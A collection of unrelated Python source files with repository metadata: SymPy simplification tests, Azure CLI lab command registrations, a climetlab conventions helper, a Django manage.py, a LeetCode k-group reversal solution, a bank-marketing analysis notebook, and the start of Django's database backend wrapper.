assert collect_const(2*x + 2*y + 1, 2) == \ collect_const(2*x + 2*y + 1) == \ Add(S.One, Mul(2, x + y, evaluate=False), evaluate=False) assert collect_const(-y - z) == Mul(-1, y + z, evaluate=False) assert collect_const(2*x - 2*y - 2*z, 2) == \ Mul(2, x - y - z, evaluate=False) assert collect_const(2*x - 2*y - 2*z, -2) == \ _unevaluated_Add(2*x, Mul(-2, y + z, evaluate=False)) # this is why the content_primitive is used eq = (sqrt(15 + 5*sqrt(2))*x + sqrt(3 + sqrt(2))*y)*2 assert collect_sqrt(eq + 2) == \ 2*sqrt(sqrt(2) + 3)*(sqrt(5)*x + y) + 2 # issue 16296 assert collect_const(a + b + x/2 + y/2) == a + b + Mul(S.Half, x + y, evaluate=False) def test_issue_13143(): f = Function('f') fx = f(x).diff(x) e = f(x) + fx + f(x)*fx # collect function before derivative assert collect(e, Wild('w')) == f(x)*(fx + 1) + fx e = f(x) + f(x)*fx + x*fx*f(x) assert collect(e, fx) == (x*f(x) + f(x))*fx + f(x) assert collect(e, f(x)) == (x*fx + fx + 1)*f(x) e = f(x) + fx + f(x)*fx assert collect(e, [f(x), fx]) == f(x)*(1 + fx) + fx assert collect(e, [fx, f(x)]) == fx*(1 + f(x)) + f(x) def test_issue_6097(): assert collect(a*y**(2.0*x) + b*y**(2.0*x), y**x) == (a + b)*(y**x)**2.0 assert collect(a*2**(2.0*x) + b*2**(2.0*x), 2**x) == (a + b)*(2**x)**2.0 def test_fraction_expand(): eq = (x + y)*y/x assert eq.expand(frac=True) == fraction_expand(eq) == (x*y + y**2)/x assert eq.expand() == y + y**2/x def test_fraction(): x, y, z = map(Symbol, 'xyz') A = Symbol('A', commutative=False) assert fraction(S.Half) == (1, 2) assert fraction(x) == (x, 1) assert fraction(1/x) == (1, x) assert fraction(x/y) == (x, y) assert fraction(x/2) == (x, 2) assert fraction(x*y/z) == (x*y, z) assert fraction(x/(y*z)) == (x, y*z) assert fraction(1/y**2) == (1, y**2) assert fraction(x/y**2) == (x, y**2) assert fraction((x**2 + 1)/y) == (x**2 + 1, y) assert fraction(x*(y + 1)/y**7) == (x*(y + 1), y**7) assert fraction(exp(-x), exact=True) == (exp(-x), 1) assert fraction((1/(x + y))/2, exact=True) == (1, Mul(2,(x + y), evaluate=False)) assert fraction(x*A/y) == (x*A, y) assert fraction(x*A**-1/y) == (x*A**-1, y) n = symbols('n', negative=True) assert fraction(exp(n)) == (1, exp(-n)) assert fraction(exp(-n)) == (exp(-n), 1) p = symbols('p', positive=True) assert fraction(exp(-p)*log(p), exact=True) == (exp(-p)*log(p), 1) def test_issue_5615(): aA, Re, a, b, D = symbols('aA Re a b D') e = ((D**3*a + b*aA**3)/Re).expand() assert collect(e, [aA**3/Re, a]) == e def test_issue_5933(): from sympy import Polygon, RegularPolygon, denom x = Polygon(*RegularPolygon((0, 0), 1, 5).vertices).centroid.x assert abs(denom(x).n()) > 1e-12 assert abs(denom(radsimp(x))) > 1e-12 # in case simplify didn't handle it def test_issue_14608(): a, b = symbols('a b', commutative=False) x, y = symbols('x y') raises(AttributeError, lambda: collect(a*b + b*a, a)) assert collect(x*y + y*(x+1), a) == x*y + y*(x+1) assert collect(x*y + y*(x+1) + a*b + b*a, y) == y*(2*x + 1) + a*b + b*a def test_collect_abs(): s = abs(x) + abs(y) assert collect_abs(s) == s assert unchanged(Mul, abs(x), abs(y)) ans = Abs(x*y) assert isinstance(ans, Abs) assert collect_abs(abs(x)*abs(y)) == ans assert collect_abs(1 + exp(abs(x)*abs(y))) == 1 + exp(ans) # See https://github.com/sympy/sympy/issues/12910 p = Symbol('p', positive=True) assert collect_abs(p/abs(1-p)).is_commutative is True def test_issue_19149(): eq = exp(3*x/4) assert collect(eq, exp(x)) == eq

7a5516fd96fc5cff46aadcb216523028d5d9b37f

py

Python

src/command_modules/azure-cli-lab/azure/cli/command_modules/lab/commands.py

saurabsa/azure-cli-old

f77477a98c9aa9cb55daf5b0d2f410d1455a9225

src/command_modules/azure-cli-lab/azure/cli/command_modules/lab/commands.py

saurabsa/azure-cli-old

f77477a98c9aa9cb55daf5b0d2f410d1455a9225

src/command_modules/azure-cli-lab/azure/cli/command_modules/lab/commands.py

saurabsa/azure-cli-old

f77477a98c9aa9cb55daf5b0d2f410d1455a9225

# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from ._client_factory import (get_devtestlabs_virtual_machine_operation, get_devtestlabs_custom_image_operation, get_devtestlabs_gallery_image_operation, get_devtestlabs_artifact_operation, get_devtestlabs_artifact_source_operation, get_devtestlabs_lab_operation, get_devtestlabs_virtual_network_operation, get_devtestlabs_formula_operation) from azure.cli.core.sdk.util import (ServiceGroup, create_service_adapter) custom_path = 'azure.cli.command_modules.lab.custom' mgmt_operations_path = 'azure.cli.command_modules.lab.sdk.devtestlabs.operations.{}' # Custom Command's service adapter custom_operations = create_service_adapter(custom_path) # Virtual Machine Operations Commands virtual_machine_operations = create_service_adapter( mgmt_operations_path.format('virtual_machine_operations'), 'VirtualMachineOperations') with ServiceGroup(__name__, get_devtestlabs_virtual_machine_operation, virtual_machine_operations) as s: with s.group('lab vm') as c: c.command('show', 'get_resource') c.command('list', 'list') c.command('delete', 'delete_resource') c.command('start', 'start') c.command('stop', 'stop') c.command('apply-artifacts', 'apply_artifacts') # Virtual Machine Operations Custom Commands with ServiceGroup(__name__, get_devtestlabs_virtual_machine_operation, custom_operations) as s: with s.group('lab vm') as c: c.command('list', 'list_vm') # Lab Operations Custom Commands with ServiceGroup(__name__, get_devtestlabs_lab_operation, custom_operations) as s: with s.group('lab vm') as c: c.command('create', 'create_lab_vm') lab_operations = create_service_adapter(mgmt_operations_path.format('lab_operations'), 'LabOperations') # Lab Operations Commands with ServiceGroup(__name__, get_devtestlabs_lab_operation, lab_operations) as s: with s.group('lab') as c: c.command('get', 'get_resource') # Custom Image Operations Commands custom_image_operations = create_service_adapter( mgmt_operations_path.format('custom_image_operations'), 'CustomImageOperations') with ServiceGroup(__name__, get_devtestlabs_custom_image_operation, custom_image_operations) as s: with s.group('lab custom-image') as c: c.command('show', 'get_resource') c.command('list', 'list') c.command('delete', 'delete_resource') # Gallery Image Operations Commands gallery_image_operations = create_service_adapter( mgmt_operations_path.format('gallery_image_operations'), 'GalleryImageOperations') with ServiceGroup(__name__, get_devtestlabs_gallery_image_operation, gallery_image_operations) as s: with s.group('lab gallery-image') as c: c.command('list', 'list') # Artifact Operations Commands artifact_operations = create_service_adapter( mgmt_operations_path.format('artifact_operations'), 'ArtifactOperations') with ServiceGroup(__name__, get_devtestlabs_artifact_operation, artifact_operations) as s: with s.group('lab artifact') as c: c.command('list', 'list') # Artifact Source Operations Commands artifact_source_operations = create_service_adapter( mgmt_operations_path.format('artifact_source_operations'), 'ArtifactSourceOperations') with ServiceGroup(__name__, get_devtestlabs_artifact_source_operation, artifact_source_operations) as s: with s.group('lab artifact-source') as c: c.command('list', 'list') c.command('get', 'get_resource') # Virtual Network Operations Commands virtual_network_operations = create_service_adapter( mgmt_operations_path.format('virtual_network_operations'), 'VirtualNetworkOperations') with ServiceGroup(__name__, get_devtestlabs_virtual_network_operation, virtual_network_operations) as s: with s.group('lab vnet') as c: c.command('list', 'list') c.command('get', 'get_resource') # Formula Operations Commands formula_operations = create_service_adapter( mgmt_operations_path.format('formula_operations'), 'FormulaOperations') with ServiceGroup(__name__, get_devtestlabs_formula_operation, formula_operations) as s: with s.group('lab formula') as c: c.command('get', 'get_resource') c.command('list', 'list') c.command('delete', 'delete_resource')

eb1bb085bf9629b4e7e1aa8eec163a1199c1829f

py

Python

climetlab/utils/conventions.py

mikewcasale/climetlab

924aa602dcd638ff1a49a9d8b4b6f7bd29361d1e

2021-07-23T02:06:08.000Z

2022-02-15T01:17:15.000Z

climetlab/utils/conventions.py

mikewcasale/climetlab

924aa602dcd638ff1a49a9d8b4b6f7bd29361d1e

climetlab/utils/conventions.py

mikewcasale/climetlab

924aa602dcd638ff1a49a9d8b4b6f7bd29361d1e

2021-11-02T13:19:48.000Z

2021-12-29T08:38:45.000Z

# (C) Copyright 2021 ECMWF. # # This software is licensed under the terms of the Apache Licence Version 2.0 # which can be obtained at http://www.apache.org/licenses/LICENSE-2.0. # In applying this licence, ECMWF does not waive the privileges and immunities # granted to it by virtue of its status as an intergovernmental organisation # nor does it submit to any jurisdiction. # import logging import os import re from collections import defaultdict import yaml from climetlab.decorators import locked ALIASES = {} CONVENTIONS = defaultdict(dict) SEP = "@" @locked def get_alias_and_conventions(): """fill the global variable from the relevant yaml file""" if ALIASES: return ALIASES, CONVENTIONS path = os.path.join(os.path.dirname(__file__), "conventions.yaml") with open(path) as f: mappings = yaml.load(f.read(), Loader=yaml.SafeLoader)["parameter_name"] def split_mapping(key): m = re.match(f"([^{SEP}]*){SEP}(.*)", key) if not m: return None, key return m.groups() for i, m in enumerate(mappings): for conv_key in m: convention, key = split_mapping(conv_key) if convention: CONVENTIONS[convention][i] = key ALIASES[key] = i return ALIASES, CONVENTIONS def normalise_string(key, convention="cf"): aliases, conventions = get_alias_and_conventions() i = aliases.get(key, key) c = conventions[convention] new = c.get(i, key) logging.debug(f"Normalising '{key}' into '{new}' ({c} convention)") return new

245ff6078f22a05c134f71cf0d3438bc645d3d5b

py

Python

seend/manage.py

kelvinndmo/seend

5a6117cd65c2f20a99a02f0c3176e607cad56b5a

seend/manage.py

kelvinndmo/seend

5a6117cd65c2f20a99a02f0c3176e607cad56b5a

2019-02-18T15:44:37.000Z

2019-02-22T07:13:40.000Z

seend/manage.py

kelvinndmo/seend

5a6117cd65c2f20a99a02f0c3176e607cad56b5a

#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'seend.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv)

db97bbe413ba1220afc275d839b7037e93b8c10f

py

Python

#25 Reverse Nodes in k-Group.py

medisean/leetcode

f218fb738fb2b57f5eea3795a0a02cf495561465

#25 Reverse Nodes in k-Group.py

medisean/leetcode

f218fb738fb2b57f5eea3795a0a02cf495561465

#25 Reverse Nodes in k-Group.py

medisean/leetcode

f218fb738fb2b57f5eea3795a0a02cf495561465

''' Given a linked list, reverse the nodes of a linked list k at a time and return its modified list. k is a positive integer and is less than or equal to the length of the linked list. If the number of nodes is not a multiple of k then left-out nodes in the end should remain as it is. Example: Given this linked list: 1->2->3->4->5 For k = 2, you should return: 2->1->4->3->5 For k = 3, you should return: 3->2->1->4->5 Note: Only constant extra memory is allowed. You may not alter the values in the list's nodes, only nodes itself may be changed. ''' class ListNode: def __init__(self, x): self.val = x self.next = None def PrintSelf(self): p = self while p != None: print(p.val, "-->") p = p.next class Solution: def reverseKGroup(self, head: ListNode, k: int) -> ListNode: if k == 0: return head nodes = [] p = head while p != None: nodes.append(p) p = p.next for i in range(int(len(nodes)/k)): for j in range(0, int(k/2)): nodes[i * k + j].val, nodes[(i + 1) * k - j - 1].val = nodes[(i + 1) * k - j - 1].val, nodes[i * k + j].val return head if __name__ == '__main__': l1 = ListNode(1) l2 = ListNode(2) l3 = ListNode(3) l4 = ListNode(4) l5 = ListNode(5) l1.next = l2 l2.next = l3 l3.next = l4 l4.next = l5 solution = Solution() solution.reverseKGroup(l1, 2).PrintSelf()

90b22aa706928b2a9d26a94f7438aa8d08c9bb29

py

Python

Bank.py

varundinesh/awesome-project-ideas

ed732f9a03b3ed58fbd13257b25ddf508fd6d3cb

Bank.py

varundinesh/awesome-project-ideas

ed732f9a03b3ed58fbd13257b25ddf508fd6d3cb

Bank.py

varundinesh/awesome-project-ideas

ed732f9a03b3ed58fbd13257b25ddf508fd6d3cb

# coding: utf-8 # In[1]: import pandas as pd import numpy as np import seaborn as sns import matplotlib.pyplot as plt data=pd.read_csv('F:\\bank-additional-full.csv',sep=';') # In[2]: data.shape # In[3]: tot=len(set(data.index)) last=data.shape[0]-tot last # In[4]: data.isnull().sum() # In[5]: print(data.y.value_counts()) sns.countplot(x='y', data=data) plt.show() # In[6]: cat=data.select_dtypes(include=['object']).columns cat # In[7]: for c in cat: print(c) print("-"*50) print(data[c].value_counts()) print("-"*50) # In[8]: from sklearn.preprocessing import LabelEncoder,OneHotEncoder le=LabelEncoder() data['y']=le.fit_transform(data['y']) # In[9]: data.drop('poutcome',axis=1,inplace=True) # In[10]: print( data['age'].quantile(q = 0.75) + 1.5*(data['age'].quantile(q = 0.75) - data['age'].quantile(q = 0.25))) # In[11]: data['age']=data[data['age']<69.6] data['age'].fillna(int(data['age'].mean()),inplace=True) # In[12]: data['age'].values # In[13]: data[['age','y']].groupby(['age'],as_index=False).mean().sort_values(by='y', ascending=False) # In[14]: # for x in data: # x['Sex'] = x['Sex'].map( {'female': 1, 'male': 0}).astype(int) # In[15]: data['age_slice'] = pd.cut(data['age'],5) data[['age_slice', 'y']].groupby(['age_slice'], as_index=False).mean().sort_values(by='age_slice', ascending=True) # In[16]: data['age'] = data['age'].astype(int) data.loc[(data['age'] >= 16) & (data['age'] <= 28), 'age'] = 1 data.loc[(data['age'] > 28) & (data['age'] <= 38), 'age'] = 2 data.loc[(data['age'] > 38) & (data['age'] <= 49), 'age'] = 3 data.loc[ (data['age'] > 49) & (data['age'] <= 59), 'age'] = 4 data.loc[ (data['age'] > 59 )& (data['age'] <= 69), 'age'] = 5 # In[17]: data.drop('age_slice',axis=1,inplace=True) # In[18]: data['marital'].replace(['divorced' ,'married' , 'unknown' , 'single'] ,['single','married','unknown','single'], inplace=True) # In[19]: data['marital']=le.fit_transform(data['marital']) # In[20]: data # In[21]: data['job'].replace(['student'] ,['unemployed'], inplace=True) # In[22]: data[['education', 'y']].groupby(['education'], as_index=False).mean().sort_values(by='education', ascending=True) # In[23]: fig, ax = plt.subplots() fig.set_size_inches(20, 5) sns.countplot(x = 'education', hue = 'loan', data = data) ax.set_xlabel('Education', fontsize=15) ax.set_ylabel('y', fontsize=15) ax.set_title('Education Count Distribution', fontsize=15) ax.tick_params(labelsize=15) sns.despine() # In[24]: fig, ax = plt.subplots() fig.set_size_inches(20, 5) sns.countplot(x = 'job', hue = 'loan', data = data) ax.set_xlabel('job', fontsize=17) ax.set_ylabel('y', fontsize=17) ax.set_title('Education Count Distribution', fontsize=17) ax.tick_params(labelsize=17) sns.despine() # In[25]: data['education'].replace(['basic.4y','basic.6y','basic.9y','professional.course'] ,['not_reach_highschool','not_reach_highschool','not_reach_highschool','university.degree'], inplace=True) # In[26]: ohe=OneHotEncoder() data['default']=le.fit_transform(data['default']) data['housing']=le.fit_transform(data['housing']) data['loan']=le.fit_transform(data['loan']) data['month']=le.fit_transform(data['month']) ohe=OneHotEncoder(categorical_features=data['month']) data['contact']=le.fit_transform(data['contact']) data['day_of_week']=le.fit_transform(data['day_of_week']) data['job']=le.fit_transform(data['job']) data['education']=le.fit_transform(data['education']) # In[27]: cat=data.select_dtypes(include=['object']).columns cat # In[28]: def outlier_detect(data,feature): q1 = data[feature].quantile(0.25) q3 = data[feature].quantile(0.75) iqr = q3-q1 #Interquartile range lower = q1-1.5*iqr upper = q3+1.5*iqr data = data.loc[(data[feature] > lower) & (data[feature] < upper)] print('lower IQR and upper IQR of',feature,"are:", lower, 'and', upper, 'respectively') return data # In[29]: data.columns # In[30]: data['pdays'].unique() # In[31]: data['pdays'].replace([999] ,[0], inplace=True) # In[32]: data['previous'].unique() # In[33]: fig, ax = plt.subplots() fig.set_size_inches(15, 5) sns.countplot(x = 'campaign', palette="rocket", data = data) ax.set_xlabel('campaign', fontsize=25) ax.set_ylabel('y', fontsize=25) ax.set_title('campaign', fontsize=25) sns.despine() # In[34]: sns.countplot(x = 'pdays', palette="rocket", data = data) ax.set_xlabel('pdays', fontsize=25) ax.set_ylabel('y', fontsize=25) ax.set_title('pdays', fontsize=25) sns.despine() # In[35]: data[['pdays', 'y']].groupby(['pdays'], as_index=False).mean().sort_values(by='pdays', ascending=True) # In[36]: sns.countplot(x = 'emp.var.rate', palette="rocket", data = data) ax.set_xlabel('emp.var.rate', fontsize=25) ax.set_ylabel('y', fontsize=25) ax.set_title('emp.var.rate', fontsize=25) sns.despine() # In[37]: outlier_detect(data,'duration') #outlier_detect(data,'emp.var.rate') outlier_detect(data,'nr.employed') #outlier_detect(data,'euribor3m') # In[38]: X = data.iloc[:,:-1] X = X.values y = data['y'].values # In[39]: from sklearn.linear_model import LogisticRegression from sklearn.tree import DecisionTreeClassifier from sklearn.ensemble import RandomForestClassifier from sklearn.svm import SVC from sklearn.neighbors import KNeighborsClassifier # In[40]: from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=0) # In[ ]: algo = {'LR': LogisticRegression(), 'DT':DecisionTreeClassifier(), 'RFC':RandomForestClassifier(n_estimators=100), 'SVM':SVC(gamma=0.01), 'KNN':KNeighborsClassifier(n_neighbors=10) } for k, v in algo.items(): model = v model.fit(X_train, y_train) print('Acurracy of ' + k + ' is {0:.2f}'.format(model.score(X_test, y_test)*100))

c5f650d5037432ec5ef77039c7d48e2ef47367d3

py

Python

django/db/backends/__init__.py

anoopksh/django

f00243f36df8dfe504491e03be5d5aea076340b3

2019-09-21T06:40:37.000Z

2019-09-21T06:40:37.000Z

django/db/backends/__init__.py

anoopksh/django

f00243f36df8dfe504491e03be5d5aea076340b3

django/db/backends/__init__.py

anoopksh/django

f00243f36df8dfe504491e03be5d5aea076340b3

import datetime import time try: from django.utils.six.moves import _thread as thread except ImportError: from django.utils.six.moves import _dummy_thread as thread from collections import namedtuple from contextlib import contextmanager from importlib import import_module from django.conf import settings from django.db import DEFAULT_DB_ALIAS from django.db.backends.signals import connection_created from django.db.backends import utils from django.db.transaction import TransactionManagementError from django.db.utils import DatabaseError, DatabaseErrorWrapper, ProgrammingError from django.utils.functional import cached_property from django.utils import six from django.utils import timezone class BaseDatabaseWrapper(object): """ Represents a database connection. """ ops = None vendor = 'unknown' def __init__(self, settings_dict, alias=DEFAULT_DB_ALIAS, allow_thread_sharing=False): # `settings_dict` should be a dictionary containing keys such as # NAME, USER, etc. It's called `settings_dict` instead of `settings` # to disambiguate it from Django settings modules. self.connection = None self.queries = [] self.settings_dict = settings_dict self.alias = alias self.use_debug_cursor = None # Savepoint management related attributes self.savepoint_state = 0 # Transaction management related attributes self.autocommit = False self.transaction_state = [] # Tracks if the connection is believed to be in transaction. This is # set somewhat aggressively, as the DBAPI doesn't make it easy to # deduce if the connection is in transaction or not. self._dirty = False # Tracks if the connection is in a transaction managed by 'atomic'. self.in_atomic_block = False # List of savepoints created by 'atomic' self.savepoint_ids = [] # Tracks if the outermost 'atomic' block should commit on exit, # ie. if autocommit was active on entry. self.commit_on_exit = True # Tracks if the transaction should be rolled back to the next # available savepoint because of an exception in an inner block. self.needs_rollback = False # Connection termination related attributes self.close_at = None self.errors_occurred = False # Thread-safety related attributes self.allow_thread_sharing = allow_thread_sharing self._thread_ident = thread.get_ident() def __eq__(self, other): if isinstance(other, BaseDatabaseWrapper): return self.alias == other.alias return NotImplemented def __ne__(self, other): return not self == other def __hash__(self): return hash(self.alias) ##### Backend-specific methods for creating connections and cursors ##### def get_connection_params(self): """Returns a dict of parameters suitable for get_new_connection.""" raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a get_connection_params() method') def get_new_connection(self, conn_params): """Opens a connection to the database.""" raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a get_new_connection() method') def init_connection_state(self): """Initializes the database connection settings.""" raise NotImplementedError('subclasses of BaseDatabaseWrapper may require an init_connection_state() method') def create_cursor(self): """Creates a cursor. Assumes that a connection is established.""" raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a create_cursor() method') ##### Backend-specific methods for creating connections ##### def connect(self): """Connects to the database. Assumes that the connection is closed.""" # In case the previous connection was closed while in an atomic block self.in_atomic_block = False self.savepoint_ids = [] # Reset parameters defining when to close the connection max_age = self.settings_dict['CONN_MAX_AGE'] self.close_at = None if max_age is None else time.time() + max_age self.errors_occurred = False # Establish the connection conn_params = self.get_connection_params() self.connection = self.get_new_connection(conn_params) self.init_connection_state() if self.settings_dict['AUTOCOMMIT']: self.set_autocommit(True) connection_created.send(sender=self.__class__, connection=self) def ensure_connection(self): """ Guarantees that a connection to the database is established. """ if self.connection is None: with self.wrap_database_errors: self.connect() ##### Backend-specific wrappers for PEP-249 connection methods ##### def _cursor(self): self.ensure_connection() with self.wrap_database_errors: return self.create_cursor() def _commit(self): if self.connection is not None: with self.wrap_database_errors: return self.connection.commit() def _rollback(self): if self.connection is not None: with self.wrap_database_errors: return self.connection.rollback() def _close(self): if self.connection is not None: with self.wrap_database_errors: return self.connection.close() ##### Generic wrappers for PEP-249 connection methods ##### def cursor(self): """ Creates a cursor, opening a connection if necessary. """ self.validate_thread_sharing() if (self.use_debug_cursor or (self.use_debug_cursor is None and settings.DEBUG)): cursor = self.make_debug_cursor(self._cursor()) else: cursor = utils.CursorWrapper(self._cursor(), self) return cursor def commit(self): """ Commits a transaction and resets the dirty flag. """ self.validate_thread_sharing() self.validate_no_atomic_block() self._commit() self.set_clean() def rollback(self): """ Rolls back a transaction and resets the dirty flag. """ self.validate_thread_sharing() self.validate_no_atomic_block() self._rollback() self.set_clean() def close(self): """ Closes the connection to the database. """ self.validate_thread_sharing() # Don't call validate_no_atomic_block() to avoid making it difficult # to get rid of a connection in an invalid state. The next connect() # will reset the transaction state anyway. try: self._close() finally: self.connection = None self.set_clean() ##### Backend-specific savepoint management methods ##### def _savepoint(self, sid): self.cursor().execute(self.ops.savepoint_create_sql(sid)) def _savepoint_rollback(self, sid): self.cursor().execute(self.ops.savepoint_rollback_sql(sid)) def _savepoint_commit(self, sid): self.cursor().execute(self.ops.savepoint_commit_sql(sid)) def _savepoint_allowed(self): # Savepoints cannot be created outside a transaction return self.features.uses_savepoints and not self.get_autocommit() ##### Generic savepoint management methods ##### def savepoint(self): """ Creates a savepoint inside the current transaction. Returns an identifier for the savepoint that will be used for the subsequent rollback or commit. Does nothing if savepoints are not supported. """ if not self._savepoint_allowed(): return thread_ident = thread.get_ident() tid = str(thread_ident).replace('-', '') self.savepoint_state += 1 sid = "s%s_x%d" % (tid, self.savepoint_state) self.validate_thread_sharing() self._savepoint(sid) return sid def savepoint_rollback(self, sid): """ Rolls back to a savepoint. Does nothing if savepoints are not supported. """ if not self._savepoint_allowed(): return self.validate_thread_sharing() self._savepoint_rollback(sid) def savepoint_commit(self, sid): """ Releases a savepoint. Does nothing if savepoints are not supported. """ if not self._savepoint_allowed(): return self.validate_thread_sharing() self._savepoint_commit(sid) def clean_savepoints(self): """ Resets the counter used to generate unique savepoint ids in this thread. """ self.savepoint_state = 0 ##### Backend-specific transaction management methods ##### def _set_autocommit(self, autocommit): """ Backend-specific implementation to enable or disable autocommit. """ raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a _set_autocommit() method') ##### Generic transaction management methods ##### def enter_transaction_management(self, managed=True, forced=False): """ Enters transaction management for a running thread. It must be balanced with the appropriate leave_transaction_management call, since the actual state is managed as a stack. The state and dirty flag are carried over from the surrounding block or from the settings, if there is no surrounding block (dirty is always false when no current block is running). If you switch off transaction management and there is a pending commit/rollback, the data will be commited, unless "forced" is True. """ self.validate_no_atomic_block() self.transaction_state.append(managed) if not managed and self.is_dirty() and not forced: self.commit() self.set_clean() if managed == self.get_autocommit(): self.set_autocommit(not managed) def leave_transaction_management(self): """ Leaves transaction management for a running thread. A dirty flag is carried over to the surrounding block, as a commit will commit all changes, even those from outside. (Commits are on connection level.) """ self.validate_no_atomic_block() if self.transaction_state: del self.transaction_state[-1] else: raise TransactionManagementError( "This code isn't under transaction management") if self.transaction_state: managed = self.transaction_state[-1] else: managed = not self.settings_dict['AUTOCOMMIT'] if self._dirty: self.rollback() if managed == self.get_autocommit(): self.set_autocommit(not managed) raise TransactionManagementError( "Transaction managed block ended with pending COMMIT/ROLLBACK") if managed == self.get_autocommit(): self.set_autocommit(not managed) def get_autocommit(self): """ Check the autocommit state. """ self.ensure_connection() return self.autocommit def set_autocommit(self, autocommit): """ Enable or disable autocommit. """ self.validate_no_atomic_block() self.ensure_connection() self._set_autocommit(autocommit) self.autocommit = autocommit def get_rollback(self): """ Get the "needs rollback" flag -- for *advanced use* only. """ if not self.in_atomic_block: raise TransactionManagementError( "The rollback flag doesn't work outside of an 'atomic' block.") return self.needs_rollback def set_rollback(self, rollback): """ Set or unset the "needs rollback" flag -- for *advanced use* only. """ if not self.in_atomic_block: raise TransactionManagementError( "The rollback flag doesn't work outside of an 'atomic' block.") self.needs_rollback = rollback def validate_no_atomic_block(self): """ Raise an error if an atomic block is active. """ if self.in_atomic_block: raise TransactionManagementError( "This is forbidden when an 'atomic' block is active.") def validate_no_broken_transaction(self): if self.needs_rollback: raise TransactionManagementError( "An error occurred in the current transaction. You can't " "execute queries until the end of the 'atomic' block.") def abort(self): """ Roll back any ongoing transaction and clean the transaction state stack. """ if self._dirty: self.rollback() while self.transaction_state: self.leave_transaction_management() def is_dirty(self): """ Returns True if the current transaction requires a commit for changes to happen. """ return self._dirty def set_dirty(self): """ Sets a dirty flag for the current thread and code streak. This can be used to decide in a managed block of code to decide whether there are open changes waiting for commit. """ if not self.get_autocommit(): self._dirty = True def set_clean(self): """ Resets a dirty flag for the current thread and code streak. This can be used to decide in a managed block of code to decide whether a commit or rollback should happen. """ self._dirty = False self.clean_savepoints() ##### Foreign key constraints checks handling ##### @contextmanager def constraint_checks_disabled(self): """ Context manager that disables foreign key constraint checking. """ disabled = self.disable_constraint_checking() try: yield finally: if disabled: self.enable_constraint_checking() def disable_constraint_checking(self): """ Backends can implement as needed to temporarily disable foreign key constraint checking. Should return True if the constraints were disabled and will need to be reenabled. """ return False def enable_constraint_checking(self): """ Backends can implement as needed to re-enable foreign key constraint checking. """ pass def check_constraints(self, table_names=None): """ Backends can override this method if they can apply constraint checking (e.g. via "SET CONSTRAINTS ALL IMMEDIATE"). Should raise an IntegrityError if any invalid foreign key references are encountered. """ pass ##### Connection termination handling ##### def is_usable(self): """ Tests if the database connection is usable. This function may assume that self.connection is not None. """ raise NotImplementedError('subclasses of BaseDatabaseWrapper may require an is_usable() method') def close_if_unusable_or_obsolete(self): """ Closes the current connection if unrecoverable errors have occurred, or if it outlived its maximum age. """ if self.connection is not None: # If the application didn't restore the original autocommit setting, # don't take chances, drop the connection. if self.get_autocommit() != self.settings_dict['AUTOCOMMIT']: self.close() return if self.errors_occurred: if self.is_usable(): self.errors_occurred = False else: self.close() return if self.close_at is not None and time.time() >= self.close_at: self.close() return ##### Thread safety handling ##### def validate_thread_sharing(self): """ Validates that the connection isn't accessed by another thread than the one which originally created it, unless the connection was explicitly authorized to be shared between threads (via the `allow_thread_sharing` property). Raises an exception if the validation fails. """ if not (self.allow_thread_sharing or self._thread_ident == thread.get_ident()): raise DatabaseError("DatabaseWrapper objects created in a " "thread can only be used in that same thread. The object " "with alias '%s' was created in thread id %s and this is " "thread id %s." % (self.alias, self._thread_ident, thread.get_ident())) ##### Miscellaneous ##### @cached_property def wrap_database_errors(self): """ Context manager and decorator that re-throws backend-specific database exceptions using Django's common wrappers. """ return DatabaseErrorWrapper(self) def make_debug_cursor(self, cursor): """ Creates a cursor that logs all queries in self.queries. """ return utils.CursorDebugWrapper(cursor, self) @contextmanager def temporary_connection(self): """ Context manager that ensures that a connection is established, and if it opened one, closes it to avoid leaving a dangling connection. This is useful for operations outside of the request-response cycle. Provides a cursor: with self.temporary_connection() as cursor: ... """ must_close = self.connection is None cursor = self.cursor() try: yield cursor finally: cursor.close() if must_close: self.close() def _start_transaction_under_autocommit(self): """ Only required when autocommits_when_autocommit_is_off = True. """ raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a _start_transaction_under_autocommit() method') def schema_editor(self, *args, **kwargs): "Returns a new instance of this backend's SchemaEditor" raise NotImplementedError('subclasses of BaseDatabaseWrapper may require a schema_editor() method') class BaseDatabaseFeatures(object): allows_group_by_pk = False # True if django.db.backend.utils.typecast_timestamp is used on values # returned from dates() calls. needs_datetime_string_cast = True empty_fetchmany_value = [] update_can_self_select = True # Does the backend distinguish between '' and None? interprets_empty_strings_as_nulls = False # Does the backend allow inserting duplicate rows when a unique_together # constraint exists, but one of the unique_together columns is NULL? ignores_nulls_in_unique_constraints = True can_use_chunked_reads = True can_return_id_from_insert = False has_bulk_insert = False uses_savepoints = False can_combine_inserts_with_and_without_auto_increment_pk = False # If True, don't use integer foreign keys referring to, e.g., positive # integer primary keys. related_fields_match_type = False allow_sliced_subqueries = True has_select_for_update = False has_select_for_update_nowait = False supports_select_related = True # Does the default test database allow multiple connections? # Usually an indication that the test database is in-memory test_db_allows_multiple_connections = True # Can an object be saved without an explicit primary key? supports_unspecified_pk = False # Can a fixture contain forward references? i.e., are # FK constraints checked at the end of transaction, or # at the end of each save operation? supports_forward_references = True # Does a dirty transaction need to be rolled back # before the cursor can be used again? requires_rollback_on_dirty_transaction = False # Does the backend allow very long model names without error? supports_long_model_names = True # Is there a REAL datatype in addition to floats/doubles? has_real_datatype = False supports_subqueries_in_group_by = True supports_bitwise_or = True # Do time/datetime fields have microsecond precision? supports_microsecond_precision = True # Does the __regex lookup support backreferencing and grouping? supports_regex_backreferencing = True # Can date/datetime lookups be performed using a string? supports_date_lookup_using_string = True # Can datetimes with timezones be used? supports_timezones = True # Does the database have a copy of the zoneinfo database? has_zoneinfo_database = True # When performing a GROUP BY, is an ORDER BY NULL required # to remove any ordering? 